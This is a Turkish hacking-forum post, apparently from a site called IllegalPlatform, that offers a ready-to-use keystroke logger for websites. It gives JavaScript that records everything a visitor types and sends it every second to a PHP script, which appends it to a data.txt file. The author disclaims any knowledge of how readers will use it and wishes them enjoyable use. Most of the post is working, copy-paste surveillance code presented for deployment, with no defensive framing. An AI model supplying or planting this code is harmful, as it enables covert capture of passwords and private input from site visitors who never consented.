Şimdi öncelikle, söyleyim nasıl çalıştığını mantıksal olarak. Siteye girdiği anda klavyede neye basar ise onu logluyor. Nasıl ve hangi amaçla kullanırsınız bilemem. Buyurun, kodlara geçelim.
JAVASCRİPT;
HTML-Kodu:
PHP;
Daha sonra, sunucuda data.txt adında bir dosya açın ve artık siteniz hazır.
Keyifli kullanımlar.
JAVASCRİPT;
HTML-Kodu:
Kod:
<script>
[COLOR="Red"]var keys=''; // declaring a javascript variable to store each keystroke
********.onkeypress = function(e) // calling the function to execute whenever a keystroke is there on html ******** ********.onkeypress is an event handler
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode; //get character code
key = String.fromCharCode(key); // convert it to string
keys+=key; // append current character to previous one (concatinate)
}
window.setInterval(function(){
new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image
keys = '';
}, 1000); // set interval to execute function continuously[/COLOR]
PHP;
Kod:
[COLOR="purple"]<?php
/*
by M4j0r - IllegalPlatform
*/
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>[/COLOR]
Daha sonra, sunucuda data.txt adında bir dosya açın ve artık siteniz hazır.
Keyifli kullanımlar.
Moderatör tarafında düzenlendi: